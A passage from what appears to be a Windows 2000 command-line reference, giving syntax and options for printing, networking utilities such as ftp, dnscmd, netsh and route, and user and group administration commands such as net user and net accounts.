Without a hostname, this option lists all available NetWare servers. If a host is&lt;br /&gt;
included, the NetWare resources for the specified system are listed.&lt;br /&gt;
If no target is specified, the computers in the local domain are listed.&lt;br /&gt;
rsm&lt;br /&gt;
rsm command [options]&lt;br /&gt;
Manage the Removable Storage facility. You can use this command to create media pools,&lt;br /&gt;
allocate media to them, and perform other related administrative tasks. See the ntbooks&lt;br /&gt;
documentation for details.&lt;br /&gt;
1.11 Printing&lt;br /&gt;
See also net share and net use.&lt;br /&gt;
con2prt&lt;br /&gt;
con2prt options [/C[D] \\hostname\printer-share]&lt;br /&gt;
Add remote printers to the local system. (The command is a scriptable version of the Add&lt;br /&gt;
Printer wizard.)&lt;br /&gt;
Options&lt;br /&gt;
/C | /CD \\hostname \ printer-share&lt;br /&gt;
Connect to the specified printer. /CD says to make it the local default printer. These&lt;br /&gt;
options may be specified multiple times; the first /CD sets the default printer.&lt;br /&gt;
/F&lt;br /&gt;
Delete all existing printer connections.&lt;br /&gt;
lpq&lt;br /&gt;
lpq -Sserver -Pprinter [-I]&lt;br /&gt;
Display the status and contents of the specified LPD-based print queue. The final option&lt;br /&gt;
requests a detailed status report.&lt;br /&gt;
lpr&lt;br /&gt;
lpq -Sserver -Pprinter [options] file&lt;br /&gt;
Print the specified file to the indicated LPD-based printer.&lt;br /&gt;
Options&lt;br /&gt;
-Cclass&lt;br /&gt;
Select a banner page based on job class (not supported for all printers).&lt;br /&gt;
-J jobname&lt;br /&gt;
Specify the job name.&lt;br /&gt;
-Ol&lt;br /&gt;
Specify the job type as binary (the default is text). Useful for printing PostScript files&lt;br /&gt;
in some circumstances.&lt;br /&gt;
print&lt;br /&gt;
print /D:\\server\ print_share files&lt;br /&gt;
Print text files on the specified remote printer.&lt;br /&gt;
1.12 Networking-Related Commands&lt;br /&gt;
1.12.1 Client Utilities&lt;br /&gt;
finger&lt;br /&gt;
finger [user][@host]&lt;br /&gt;
Display information about the specified local or remote user (the remote host must provide a&lt;br /&gt;
finger service). If no username is specified, information about all logged-in users is returned.&lt;br /&gt;
-L says to use a long listing format (ignored by many systems).&lt;br /&gt;
ftp&lt;br /&gt;
ftp host | IP-address&lt;br /&gt;
Initiate a file transfer session to a remote host, which must provide an ftp service.&lt;br /&gt;
Options&lt;br /&gt;
-A&lt;br /&gt;
Log on as anonymous.&lt;br /&gt;
-n&lt;br /&gt;
Suppress automatic initial logon to the remote host.&lt;br /&gt;
-w :size&lt;br /&gt;
Set transfer buffer size in bytes (the default is 4,096).&lt;br /&gt;
-i&lt;br /&gt;
Disable prompting during multifile transfers.&lt;br /&gt;
-S: file&lt;br /&gt;
Run commands in the specified file instead of starting an interactive session.&lt;br /&gt;
-v&lt;br /&gt;
Suppress remote server response messages.&lt;br /&gt;
-a&lt;br /&gt;
Use any local interface.&lt;br /&gt;
-g&lt;br /&gt;
Disable wildcard interpretation in filenames (known as "globbing").&lt;br /&gt;
-d&lt;br /&gt;
Enable debugging messages.&lt;br /&gt;
hostname&lt;br /&gt;
Hostname&lt;br /&gt;
Display the hostname of the local system.&lt;br /&gt;
irftp&lt;br /&gt;
irftp path [/H] | /S&lt;br /&gt;
Send files over an infrared wireless link. /S opens the Wireless Link Properties dialog rather&lt;br /&gt;
than sending a file. /H suppresses the usual Wireless Link dialog when sending the file.&lt;br /&gt;
rcp&lt;br /&gt;
rcp [/B] files destination&lt;br /&gt;
Copy files to or from a remote system. If the remote system running is Windows-based, it&lt;br /&gt;
must be running the Remote Shell service. Prepend remote filenames with host [.username]: .&lt;br /&gt;
Options&lt;br /&gt;
/H&lt;br /&gt;
Include hidden files in the copy operation.&lt;br /&gt;
/R&lt;br /&gt;
Recurse subdirectories in the file list.&lt;br /&gt;
rsh, rexec&lt;br /&gt;
rsh server [-l username] command&lt;br /&gt;
rexec server [-l username] command&lt;br /&gt;
Execute a command on a remote system using the REXEC or the Remote Shell service,&lt;br /&gt;
optionally specifying a user account for the remote system.&lt;br /&gt;
telnet&lt;br /&gt;
telnet host | IP-address&lt;br /&gt;
Initiate an interactive session to a remote host (which must provide a telnet service).&lt;br /&gt;
tftp&lt;br /&gt;
tftp [-i] host [get | put] file-to-transfer [destination]&lt;br /&gt;
Perform a Trivial FTP file transfer. The -i option says to perform a binary file transfer (an&lt;br /&gt;
ASCII transfer is the default). The keywords get and put specify a local-to-remote and&lt;br /&gt;
remote-to-local transfer, respectively. The optional final argument specifies an alternate&lt;br /&gt;
location for the transferred file. Specifying a hyphen as the file to transfer takes input from or&lt;br /&gt;
sends output to standard input/output as appropriate.&lt;br /&gt;
1.12.2 Administrative Utilities&lt;br /&gt;
arp&lt;br /&gt;
Display and manipulate physical address-IP address translation.&lt;br /&gt;
arp /A [IP-address] [/N interface-address]&lt;br /&gt;
Display current mappings (limited to the specified IP address and network interface, if&lt;br /&gt;
present).&lt;br /&gt;
arp /S IP-address physical-address [interface-address]&lt;br /&gt;
Specify an address mapping (to the table for specified network interface, if present).&lt;br /&gt;
arp /D IP-address [interface-address]&lt;br /&gt;
Delete an address mapping (from the table for specified network interface, if present).&lt;br /&gt;
atmadm&lt;br /&gt;
atmadm [-c] [-a] [-s]&lt;br /&gt;
Display information for the ATM Call Manager facility. The options request information on&lt;br /&gt;
current connections, network service access point (NSAP) addresses, and the status of each&lt;br /&gt;
active connection, respectively.&lt;br /&gt;
dhcplocRK&lt;br /&gt;
dhcploc ip-address [dhcp-server-list]&lt;br /&gt;
Locate accessible DHCP servers (authorized and rogue). The command's first argument is the&lt;br /&gt;
IP address of the local system, or the desired adapter on the local system. The second&lt;br /&gt;
argument is an optional list of DHCP servers to check, specified by IP address.&lt;br /&gt;
Options&lt;br /&gt;
/p&lt;br /&gt;
Don't display information about servers in the list.&lt;br /&gt;
/a:names [ /i:seconds]&lt;br /&gt;
Send alerts to the specified names (at the specified interval) whenever a DHCP server&lt;br /&gt;
that is not in the list is detected.&lt;br /&gt;
dnscmd&lt;br /&gt;
dnscmd [server] /main_option addional-args-and-options&lt;br /&gt;
Administer the Domain Name Service facility. The command's format varies considerably by&lt;br /&gt;
function. server specifies the DNS server upon which to operate (it defaults to the current&lt;br /&gt;
DNS server). A period may be used to specify the local system. The main-option specifies&lt;br /&gt;
what the command does; the various choices are shown in the following list.&lt;br /&gt;
Options&lt;br /&gt;
/Info [property]&lt;br /&gt;
Display basic information about the specified DNS server, limiting it to the specified&lt;br /&gt;
property, if included. See the command help for a list of properties.&lt;br /&gt;
/Statistics [filter-mask] [/Clear]&lt;br /&gt;
Display DNS server statistics. The display can be filtered by a mask whose&lt;br /&gt;
components are defined in the command help. /Clear zeros all counters for which this&lt;br /&gt;
is supported.&lt;br /&gt;
/ResetListenAddresses [IP-addresses]&lt;br /&gt;
Specify/reset the list of hosts to serve DNS requests.&lt;br /&gt;
/ResetForwarders [IP-addresses] [ /Slave] [ /Timeout tsec]&lt;br /&gt;
Specify/reset the list of DNS forwarders. /Slave designates hosts as slave servers, and&lt;br /&gt;
tsec is the timeout period in seconds (the default is 5).&lt;br /&gt;
/EnumZones [/type] [/Forward | /Reverse]&lt;br /&gt;
List zones on a DNS server. The first option limits the list to servers of a specific&lt;br /&gt;
type; either primary, secondary, cache (caching-only), or auto-created. The second&lt;br /&gt;
option limits the list to forward- or reverse-lookup zones.&lt;br /&gt;
/EnumRecords zone node [additional-options]&lt;br /&gt;
List the records for the specified DNS subdomain, where zone is the desired zone,&lt;br /&gt;
and node indicates the starting point within it. node must be either @ (the zone root),&lt;br /&gt;
a fully qualified domain name of a node in the zone (i.e., name with a terminal&lt;br /&gt;
period), or a simple name that is interpreted as relative to the specified zone.&lt;br /&gt;
Additional options allow you to limit the types of records returned; see the command&lt;br /&gt;
help for a complete list.&lt;br /&gt;
/Restart&lt;br /&gt;
Restart the specified DNS server.&lt;br /&gt;
/Config [zone | ..AllZones] property hex-value&lt;br /&gt;
Set various parameters for the DNS server, either for the specified zone or all zones.&lt;br /&gt;
See the command help for a list of available properties.&lt;br /&gt;
/ClearCache&lt;br /&gt;
Clear the cache of the specified DNS server.&lt;br /&gt;
/WriteBackFile [zone]&lt;br /&gt;
Write out all root hints or zone datafiles for a DNS server.&lt;br /&gt;
/RecordAdd zone name [/Aging] [ttl] type data&lt;br /&gt;
Add a record to the specified DNS server for the indicated zone. type is the standard&lt;br /&gt;
DNS record type, name is the primary data for the type, and data is any additional&lt;br /&gt;
information needed for the record. For example, for an A record, name is the&lt;br /&gt;
hostname and data is the IP address. /Aging enables aging for the record (it is off by&lt;br /&gt;
default). ttl is the time-to-live for the record (it defaults to the value in the SOA&lt;br /&gt;
record).&lt;br /&gt;
/RecordDelete zone type data [ /F]&lt;br /&gt;
Delete the specified DNS record. /F suppresses confirmation prompts.&lt;br /&gt;
/NodeDelete zone node [/Tree] [ /F]&lt;br /&gt;
Delete all DNS records at the specified node. /F suppresses confirmation prompts and&lt;br /&gt;
/Tree deletes the entire subdomain rooted at that node.&lt;br /&gt;
/ZoneInfo zone [property]&lt;br /&gt;
Display information about the specified DNS zone. The display can be limited to the&lt;br /&gt;
specified property, if included; see the command help for a list of properties.&lt;br /&gt;
/ZoneAdd [zone] /Primary /File file [/Load] [/A admin]&lt;br /&gt;
/ZoneAdd [zone] /Secondary Primary-IPs [ /File file [ /Load ]]&lt;br /&gt;
/ZoneAdd [zone] /DSPrimary&lt;br /&gt;
Create a new DNS zone of the specified type. The /File option specifies the zone file&lt;br /&gt;
to be used and /Load says to load existing data from it.&lt;br /&gt;
/ZoneDelete zone [/DSDel] [ /F]&lt;br /&gt;
Delete the specified zone. Include /DSDel if the zone is a Directory Services-based&lt;br /&gt;
primary. /F suppresses the confirmation prompt.&lt;br /&gt;
/ZoneRefresh zone&lt;br /&gt;
Force an immediate refresh for the specified zone on the specified secondary server.&lt;br /&gt;
/ZoneReload zone&lt;br /&gt;
Reload the specified zone from its database (file or Active Directory) on the specified&lt;br /&gt;
primary server.&lt;br /&gt;
/ZoneUpdateFromDS zone&lt;br /&gt;
Update the specified server with zone information from the Active Directory.&lt;br /&gt;
/ZoneResetSecondaries zone [/Secure] [IP-addresses]&lt;br /&gt;
Specify/reset the notify list for the specified DNS server. /Secure limits access to&lt;br /&gt;
only the listed secondary servers.&lt;br /&gt;
/ZoneWriteBack zone&lt;br /&gt;
Write back data to the zone file on the specified DNS server.&lt;br /&gt;
/ZonePause zone&lt;br /&gt;
Pause the specified zone on the server.&lt;br /&gt;
/ZoneResume zone&lt;br /&gt;
Resume a paused zone on the specified server.&lt;br /&gt;
/ZoneResetType zone /Primary /File file [ /Aadmin] [options]&lt;br /&gt;
/ZoneResetType zone /Secondary Primary-IPs [ /File file]&lt;br /&gt;
/ZoneResetType zone /DSPrimary [options]&lt;br /&gt;
Change the type of the specified DNS server, using options as described under&lt;br /&gt;
/ZoneAdd. Additional options are /Overwrite_Mem and /Overwrite_DS, which&lt;br /&gt;
overwrite data from the Active Directory to the active DNS memory, and vice versa,&lt;br /&gt;
respectively.&lt;br /&gt;
/AgeAllRecords zone node [/Tree] [/F]&lt;br /&gt;
Enable aging for records in the specified zone at the indicated node (or throughout the&lt;br /&gt;
subdomain with /Tree). /F suppresses confirmation prompts.&lt;br /&gt;
/StartScavenging&lt;br /&gt;
Enable scavenging, which searching for and removing stale DNS records by&lt;br /&gt;
designated servers (disabled by default).&lt;br /&gt;
/ZoneResetScavengeServers zone [IP-addresses]&lt;br /&gt;
Specify/reset a list of servers to perform scavenging.&lt;br /&gt;
getmacRK&lt;br /&gt;
getmac server&lt;br /&gt;
Display the MAC address of the selected server (specified in either \\server format or as a&lt;br /&gt;
fully qualified domain name).&lt;br /&gt;
iisreset&lt;br /&gt;
iisreset [options]&lt;br /&gt;
Manage the Internet Information Services (IIS) facility.&lt;br /&gt;
Options&lt;br /&gt;
/Restart | /Start | /Stop | /Status&lt;br /&gt;
Restart (default), start, stop, or display the status of the IIS facility, respectively.&lt;br /&gt;
/Enable | /Disable&lt;br /&gt;
Enable or disable restarting of IIS.&lt;br /&gt;
/RebootOnError [/Timeout:s]&lt;br /&gt;
Reboot if a start, stop, or restart operation fails. Optionally, wait s seconds for the&lt;br /&gt;
operation to complete successfully.&lt;br /&gt;
/NoForce&lt;br /&gt;
Don't terminate IIS server processes if they fail to stop gracefully (forced termination&lt;br /&gt;
is the default).&lt;br /&gt;
ipconfig&lt;br /&gt;
ipconfig [/ALL]&lt;br /&gt;
Display the IP configuration for the local system. ( /ALL requests more detail.)&lt;br /&gt;
ipconfig /RENEW | /RELEASE [adapter]&lt;br /&gt;
Manipulate the DHCP lease, renewing or releasing the system's IP address (or the IP address&lt;br /&gt;
corresponding to the specified network adapter).&lt;br /&gt;
ipconfig /DISPLAYDNS | /FLUSHDNS&lt;br /&gt;
Display or flush the contents of the DNS resolver cache.&lt;br /&gt;
ipconfig /REGISTERDNS&lt;br /&gt;
Reregister all current DHCP names with the DNS.&lt;br /&gt;
ipsecpolRK&lt;br /&gt;
ipsecpol \\server options&lt;br /&gt;
Configure IPSec policies. See W2RKTools.Chm for details on this complex tool.&lt;br /&gt;
nbtstat&lt;br /&gt;
nbtstat [options] [n]&lt;br /&gt;
Display statistics for NetBIOS over TCP/IP connections, repeating the display every n&lt;br /&gt;
seconds, if specified.&lt;br /&gt;
Options&lt;br /&gt;
-a host | -A IP-address&lt;br /&gt;
Specify the host of interest by name or IP address.&lt;br /&gt;
-c&lt;br /&gt;
Display contents of the remote name cache.&lt;br /&gt;
-n&lt;br /&gt;
Display local NetBIOS name definitions.&lt;br /&gt;
-r&lt;br /&gt;
Display names resolved by WINS or broadcast.&lt;br /&gt;
-S | -s&lt;br /&gt;
Display the sessions table, identifying remote systems by IP address or hostname,&lt;br /&gt;
respectively.&lt;br /&gt;
-R&lt;br /&gt;
Purge and reload the remote name cache.&lt;br /&gt;
net session&lt;br /&gt;
net session [\\host] [/DELETE]&lt;br /&gt;
Without arguments, display session information for all connections to the local system. If a&lt;br /&gt;
host is specified, information about the session between the local system and that particular&lt;br /&gt;
remote system is displayed.&lt;br /&gt;
The /DELETE option causes the specified session (if a host is specified) or all sessions to&lt;br /&gt;
terminate, closing all associated open local files.&lt;br /&gt;
net statistics&lt;br /&gt;
net statistics [SERVER | WORKSTATION]&lt;br /&gt;
Display session-oriented networking statistics. Without an argument, this displays services for&lt;br /&gt;
which statistics are available. The available keywords request statistics for the server or&lt;br /&gt;
workstation services, respectively.&lt;br /&gt;
netsh&lt;br /&gt;
netsh [context subcommand ...]&lt;br /&gt;
The network subsystem administration utility. This facility, which can function either in&lt;br /&gt;
interactive mode or as a standalone command utility, provides support for commandline/&lt;br /&gt;
script-based management of many network facilities, including DCHP (dhcp context&lt;br /&gt;
keyword), network interface (interface), routing (routing), Remote Access Services (ras),&lt;br /&gt;
and WINS (wins). See the ntbooks documentation for a plethora of context-specific&lt;br /&gt;
subcommands and options.&lt;br /&gt;
Here are a couple of examples to give you the flavor of using netsh:&lt;br /&gt;
Specify the primary DNS server for the local system:&lt;br /&gt;
netsh interface ip set dns "Local Area Connection" ^ static ip-addr&lt;br /&gt;
Add an exclusion range to an existing DHCP scope:&lt;br /&gt;
netsh dhcp server scope name add excluderange ^ ip-addr1 ip-addr2&lt;br /&gt;
netstat&lt;br /&gt;
netstat [options] [n]&lt;br /&gt;
Display TCP/IP statistics, repeating the output every n seconds, if specified. By default,&lt;br /&gt;
current active connections are listed.&lt;br /&gt;
Options&lt;br /&gt;
/A&lt;br /&gt;
Include server-side connections.&lt;br /&gt;
/E&lt;br /&gt;
Display Ethernet statistics.&lt;br /&gt;
/N&lt;br /&gt;
Show numeric IP addresses and port numbers.&lt;br /&gt;
/R&lt;br /&gt;
Display the routing table.&lt;br /&gt;
/S&lt;br /&gt;
Display per-protocol statistics (specify desired protocol with /P).&lt;br /&gt;
/P protocol&lt;br /&gt;
Specify the network protocol of interest: TCP, UPD, or IP.&lt;br /&gt;
nslookup&lt;br /&gt;
nslookup [host] [DNS server]&lt;br /&gt;
Perform DNS name translation, using the designated DNS server, if specified. Without&lt;br /&gt;
options, this command enters interactive mode.&lt;br /&gt;
pathping&lt;br /&gt;
pathping [options] destination&lt;br /&gt;
Trace routes to the destination, showing the degree of packet loss at each router/link.&lt;br /&gt;
Options&lt;br /&gt;
/h hops&lt;br /&gt;
Set the maximum number of hops (the default is 30).&lt;br /&gt;
/g hostlist&lt;br /&gt;
Allow loose source routing for hosts in the list, separable by intermediate gateways.&lt;br /&gt;
/p milliseconds&lt;br /&gt;
Set the wait period between consecutive pings (the default is 250).&lt;br /&gt;
/q num&lt;br /&gt;
Set the number of queries to each computer along the route (the default is 100).&lt;br /&gt;
/w milliseconds&lt;br /&gt;
Set the timeout period to wait for each reply (the default is 3,000).&lt;br /&gt;
/n&lt;br /&gt;
Don't resolve IP addresses to hostnames.&lt;br /&gt;
/T&lt;br /&gt;
Attach a layer-2 priority tag to the packets to identify devices that do not support&lt;br /&gt;
layer-2 priority.&lt;br /&gt;
/R&lt;br /&gt;
Determine if each device along the route supports the Resource Reservation Setup&lt;br /&gt;
protocol (RSVP).&lt;br /&gt;
ping&lt;br /&gt;
ping [options] destinations&lt;br /&gt;
Ping the specified systems, which may be specified by hostname or IP address.&lt;br /&gt;
Options&lt;br /&gt;
/t | /n count&lt;br /&gt;
Ping continuously until interrupted, or for the specified number of times (the default&lt;br /&gt;
is 4 ).&lt;br /&gt;
/l length&lt;br /&gt;
Set the length of the packet in bytes (the default is 32; the maximum is 65,527).&lt;br /&gt;
/a&lt;br /&gt;
Resolve IP addresses to computer names.&lt;br /&gt;
/f&lt;br /&gt;
Set the Do Not Fragment flag in the packet.&lt;br /&gt;
/i ttl&lt;br /&gt;
Set the Time to Live parameter.&lt;br /&gt;
/v tos&lt;br /&gt;
Set the Type of Service parameter.&lt;br /&gt;
/w&lt;br /&gt;
Set the timeout interval in milliseconds.&lt;br /&gt;
/r n [ /s timestamp]&lt;br /&gt;
Record the route(s) of up to n hosts in the Record Route field (n can range from 1 to&lt;br /&gt;
9); an optional timestamp value can also be specified.&lt;br /&gt;
/j | /k hostlist&lt;br /&gt;
Route packets via computers in the specified list, allowing or forbidding them from&lt;br /&gt;
being separated by intermediate gateways (loose/strict source routed). Up to 9 hosts&lt;br /&gt;
may be included in the list.&lt;br /&gt;
pptpclnt, pptpsrv&lt;br /&gt;
pptpclnt&lt;br /&gt;
pptpsrv host&lt;br /&gt;
Perform connectivity tests for PPTP connections. Start pptpsrv on one system, then attempt&lt;br /&gt;
to connect to it using pptpclnt.&lt;br /&gt;
qtcpRK&lt;br /&gt;
qtcp -t receiver-ip-addr&lt;br /&gt;
qtcp -r&lt;br /&gt;
Measure network performance via Quality of Service (QoS) tests. These commands start the&lt;br /&gt;
server and client modes of this utility, respectively. See W2RKTools.Chm for full details.&lt;br /&gt;
rasdial&lt;br /&gt;
rasdial entryname [user password | * [/Domain:domain]] ^&lt;br /&gt;
[options]rasdial [entryname] /Disconnect&lt;br /&gt;
Dial a phone book entry using the Remote Access Service (first form) or disconnect an&lt;br /&gt;
existing connection. An asterisk for the password argument produces a password prompt.&lt;br /&gt;
Options&lt;br /&gt;
/Phone:number&lt;br /&gt;
Dial this phone number.&lt;br /&gt;
/PhoneBook: file&lt;br /&gt;
Use the indicated phone book file rather than the default&lt;br /&gt;
(%SystemRoot%\System32\RAS\username.pbk).&lt;br /&gt;
/CallBack: number&lt;br /&gt;
Specify the callback phone number.&lt;br /&gt;
/PrefixSuffix&lt;br /&gt;
Use TAPI location dialing properties when placing the call.&lt;br /&gt;
raslistRK&lt;br /&gt;
raslist&lt;br /&gt;
List accessible RAS servers.&lt;br /&gt;
rasusersRK&lt;br /&gt;
rasusers domain | server&lt;br /&gt;
List RAS-enabled user accounts in the specified domain or on the specified server.&lt;br /&gt;
route&lt;br /&gt;
route [options] [cmd [dest] [MASK netmask] [gateway] ^&lt;br /&gt;
[METRIC hops]]&lt;br /&gt;
View or modify the routing table. cmd is one of the following:&lt;br /&gt;
PRINT&lt;br /&gt;
Display the specified route, or display all routes.&lt;br /&gt;
ADD&lt;br /&gt;
Add the specified route.&lt;br /&gt;
DELETE&lt;br /&gt;
Remove the specified route.&lt;br /&gt;
CHANGE&lt;br /&gt;
Modify the specified route.&lt;br /&gt;
The netmask defaults to 255.255.255.255; the metric defaults to 1.&lt;br /&gt;
Options&lt;br /&gt;
/F&lt;br /&gt;
Clear all gateway entries from the routing table.&lt;br /&gt;
/P&lt;br /&gt;
Use with ADD to define a persistent route, which survives system reboots.&lt;br /&gt;
rpingsRK&lt;br /&gt;
rpings [-p protocol]&lt;br /&gt;
Start the RPC connectivity test server, limiting testing to the specified protocol, if it's included&lt;br /&gt;
(e.g., tcpip, namedpipes, netbios, etc.). Use the rpingc GUI utility to perform the actual&lt;br /&gt;
testing.&lt;br /&gt;
tracert&lt;br /&gt;
tracert host | IP-address&lt;br /&gt;
Display the route to the specified destination.&lt;br /&gt;
Options&lt;br /&gt;
-h n&lt;br /&gt;
Set the maximum number of hops used to search for the target computer.&lt;br /&gt;
-w n&lt;br /&gt;
Set the timeout period in milliseconds for each reply.&lt;br /&gt;
-d&lt;br /&gt;
Do not resolve addresses to hostnames.&lt;br /&gt;
winschkRK&lt;br /&gt;
winschk&lt;br /&gt;
Interactive WINS validation and monitoring utility.&lt;br /&gt;
winsclRK&lt;br /&gt;
winscl command&lt;br /&gt;
Administer the WINS service. See W2RKTools.Chm for a list of available commands.&lt;br /&gt;
1.13 Administering Users and Groups&lt;br /&gt;
addusersRK&lt;br /&gt;
addusers [\\server] file&lt;br /&gt;
Manage user accounts on the local or specified server via a prepared file. Options control the&lt;br /&gt;
command's functioning. See W2RKTools.Chm for the syntax of the input file.&lt;br /&gt;
Options&lt;br /&gt;
/C [ /P:c]&lt;br /&gt;
Create new user accounts and groups. /P specifies account flags via one or more of&lt;br /&gt;
the following code letters: l (don't force password change at first login), c (user&lt;br /&gt;
cannot change password), e (password never expires), and d (account is disabled).&lt;br /&gt;
/D&lt;br /&gt;
Write user and group data to the specified file.&lt;br /&gt;
/E&lt;br /&gt;
Delete user accounts as specified in file.&lt;br /&gt;
/S:c&lt;br /&gt;
Set the field-separation character for the file. The default character is a comma.&lt;br /&gt;
cusrmgrRK&lt;br /&gt;
cusrmgr -u user[-m system] [options]&lt;br /&gt;
Modify characteristics of the specified user account.&lt;br /&gt;
Options&lt;br /&gt;
-P password&lt;br /&gt;
Set the user password.&lt;br /&gt;
+s | -s flag&lt;br /&gt;
Set or unset account flags, where flag is one of the following:&lt;br /&gt;
MustChangePassword, CanNotChangePassword, PasswordNeverExpires,&lt;br /&gt;
AccountDisabled, AccountLockout, or RASUser.&lt;br /&gt;
-r newname&lt;br /&gt;
Rename the user account.&lt;br /&gt;
- d&lt;br /&gt;
Delete the user account.&lt;br /&gt;
-c comment&lt;br /&gt;
Set the account comment.&lt;br /&gt;
-f fullname&lt;br /&gt;
Specify the user's full name.&lt;br /&gt;
-U profile&lt;br /&gt;
Specify the user profile.&lt;br /&gt;
-h dir -H drive&lt;br /&gt;
Specify the user home directory or the drive letter mapping.&lt;br /&gt;
-n logon-script&lt;br /&gt;
Specify the logon script.&lt;br /&gt;
-alg group |-agg group&lt;br /&gt;
Add the user to the specified local (-alg ) or global (-agg ) group.&lt;br /&gt;
-dlg group | -dgg group&lt;br /&gt;
Remove the user from the specified local (-dlg ) or global (-dgg ) group.&lt;br /&gt;
-rlg | -rgg group newname&lt;br /&gt;
Rename a local (-rlf ) or global (-rgg ) group (-u is ignored).&lt;br /&gt;
delprofRK&lt;br /&gt;
delprof [/c:\\server] [options]&lt;br /&gt;
Delete inactive user profiles on the local computer or on any specified computer.&lt;br /&gt;
Options&lt;br /&gt;
/Q&lt;br /&gt;
Suppress confirmation messages.&lt;br /&gt;
/D:days&lt;br /&gt;
Specify the inactivity period (the default is 0).&lt;br /&gt;
globalRK&lt;br /&gt;
global group domain | \\host&lt;br /&gt;
List the members of a global group.&lt;br /&gt;
localRK&lt;br /&gt;
local group domain | \\host&lt;br /&gt;
List the members of a local group.&lt;br /&gt;
net accounts&lt;br /&gt;
net accounts /sync&lt;br /&gt;
Force an update of the user accounts database.&lt;br /&gt;
net accounts options [/DOMAIN]&lt;br /&gt;
Modify the system or domain password policy settings. /DOMAIN says to operate on the&lt;br /&gt;
primary domain controller rather than on the local system. (The local system is the default on&lt;br /&gt;
Windows 2000 server systems.)&lt;br /&gt;
Options&lt;br /&gt;
/MINPWLEN:n&lt;br /&gt;
Set the minimum password length to n characters (the default value is 0, and the&lt;br /&gt;
allowed range is 0-14).&lt;br /&gt;
/MAXPWAGE:n&lt;br /&gt;
Set the maximum password lifetime to n days (the default value is 42, and the&lt;br /&gt;
allowed range is 1-49,710). The keyword UNLIMITED may be specified for n to&lt;br /&gt;
remove any limit.&lt;br /&gt;
/MINPWAGE:n&lt;br /&gt;
Set the minimum number of days between password changes (the default value is 0,&lt;br /&gt;
and the allowed range is 0-49,710).&lt;br /&gt;
/UNIQUEPW:n&lt;br /&gt;
Remember n previous passwords (the default value is 0, and the maximum value is&lt;br /&gt;
24).&lt;br /&gt;
/FORCELOGOFF:mins | NO&lt;br /&gt;
Force users to logoff mins minutes after their permitted logon times have expired; NO&lt;br /&gt;
disables forced logoffs (this is the default).&lt;br /&gt;
net group&lt;br /&gt;
Display/modify a global group. For all command forms, /DOMAIN says to operate on the&lt;br /&gt;
primary domain controller rather than the local system. (The local system is the default on&lt;br /&gt;
Windows 2000 server systems.)&lt;br /&gt;
net group&lt;br /&gt;
List the global group names in the current domain.&lt;br /&gt;
net group name [users] [/ADD] [/DOMAIN]&lt;br /&gt;
Add a group or add users to an existing group.&lt;br /&gt;
net group name [users] /DELETE [/DOMAIN]&lt;br /&gt;
Delete a group or remove users from a group.&lt;br /&gt;
net group name [/ADD] /COMMENT:description [/DOMAIN]&lt;br /&gt;
Specify a description for an existing group or for a new group.&lt;br /&gt;
net localgroup&lt;br /&gt;
Display or modify a local group. For all command forms, /DOMAIN says to operate on the&lt;br /&gt;
primary domain controller rather than on the local system. (The local system is the default on&lt;br /&gt;
Windows 2000 server systems.) User lists are space separated.&lt;br /&gt;
net group&lt;br /&gt;
List local group names in the current domain.&lt;br /&gt;
net group name [users] [/ADD] [/DOMAIN]&lt;br /&gt;
Add a group or add users to an existing group.&lt;br /&gt;
net group name [users] /DELETE [/DOMAIN]&lt;br /&gt;
Delete a group or remove users from a group.&lt;br /&gt;
net group name [/ADD] /COMMENT:description [/DOMAIN]&lt;br /&gt;
Specify a description for an existing group or for a new group.&lt;br /&gt;
net user&lt;br /&gt;
net user username [passwd |*] ^ [/ADD [options] | /DELETE]&lt;br /&gt;
[/DOMAIN]&lt;br /&gt;
Create or modify user accounts. As indicated, the username can be followed optionally by a&lt;br /&gt;
password or by an asterisk to request a password prompt. Without any arguments, the&lt;br /&gt;
command lists all user accounts in the local domain or on the local workstation.&lt;br /&gt;
Options&lt;br /&gt;
/ADD | /DELETE&lt;br /&gt;
Add or delete the specified user account. The default is to modify an existing account.&lt;br /&gt;
/DOMAIN&lt;br /&gt;
Operate on the primary domain controller rather than on the local system. (The local&lt;br /&gt;
system is the default on Windows 2000 server systems.)&lt;br /&gt;
/ACTIVE:YES | NO&lt;br /&gt;
Enable or disable the account.&lt;br /&gt;
/FULLNAME: text&lt;br /&gt;
The user's full name.&lt;br /&gt;
/EXPIRES:date | NEVER&lt;br /&gt;
The account expiration date, if any.&lt;br /&gt;
/HOMEDIR: path&lt;br /&gt;
The home directory location.&lt;br /&gt;
/PASSWORDCHG: YES | NO&lt;br /&gt;
Whether users can change their password.&lt;br /&gt;
/PASSWORDREQ: YES | NO&lt;br /&gt;
Whether a password is required for an account.&lt;br /&gt;
/PROFILEPATH: path&lt;br /&gt;
The path to the user profile for this account.&lt;br /&gt;
/SCRIPTPATH: path&lt;br /&gt;
The location of this user's login script.&lt;br /&gt;
/TIMES:ALL | times&lt;br /&gt;
The allowed login hours.&lt;br /&gt;
/WORKSTATIONS: list&lt;br /&gt;
Limit the allowed login locations to these systems (maximum of eight systems).&lt;br /&gt;
/COMMENT:string, /USERCOMMENT:string&lt;br /&gt;
Descriptive comments for the account.&lt;br /&gt;
/COUNTRYCODE:n&lt;br /&gt;
Operating system country code (0 means the system default).&lt;br /&gt;
ntrightsRK&lt;br /&gt;
ntrights +r | -r right -u user-or-group [-m system] ^ [-e&lt;br /&gt;
event-log-entry]&lt;br /&gt;
Grant (+) or revoke (-) the specified user right to or from the specified user or group.&lt;br /&gt;
Optionally, specify a system upon which to execute the operation and a string to place into an&lt;br /&gt;
event log entry.&lt;br /&gt;
The user right must be specified by its case-sensitive internal name (see the "user rights"&lt;br /&gt;
listing later in this book for more information).&lt;br /&gt;
sdcheck&lt;br /&gt;
sdcheck server username [options]&lt;br /&gt;
List ACL information for the specified fully qualified username. (sdcheck also has uses&lt;br /&gt;
provided by other commands.)&lt;br /&gt;
Options&lt;br /&gt;
-dumpSD | -dumpALL&lt;br /&gt;
Display a user account object's security descriptor alone or along with all the SDs that&lt;br /&gt;
are inherited from parents, respectively.&lt;br /&gt;
-domain: domain [-user:username -password: password]&lt;br /&gt;
Specify the domain and user context for a command.&lt;br /&gt;
showgrpsRK&lt;br /&gt;
showgrps [[domain\]user]&lt;br /&gt;
List the groups in which the specified user is a member.&lt;br /&gt;
Option&lt;br /&gt;
/A&lt;br /&gt;
Check all known trusted domains as well as the local/specified domain.&lt;br /&gt;
showmbrsRK&lt;br /&gt;
showmbrs group&lt;br /&gt;
List the members of the specified group. The group name can optionally be preceded by&lt;br /&gt;
\\name\, where name is a domain name or a hostname.&lt;br /&gt;
showprivRK&lt;br /&gt;
showpriv right&lt;br /&gt;
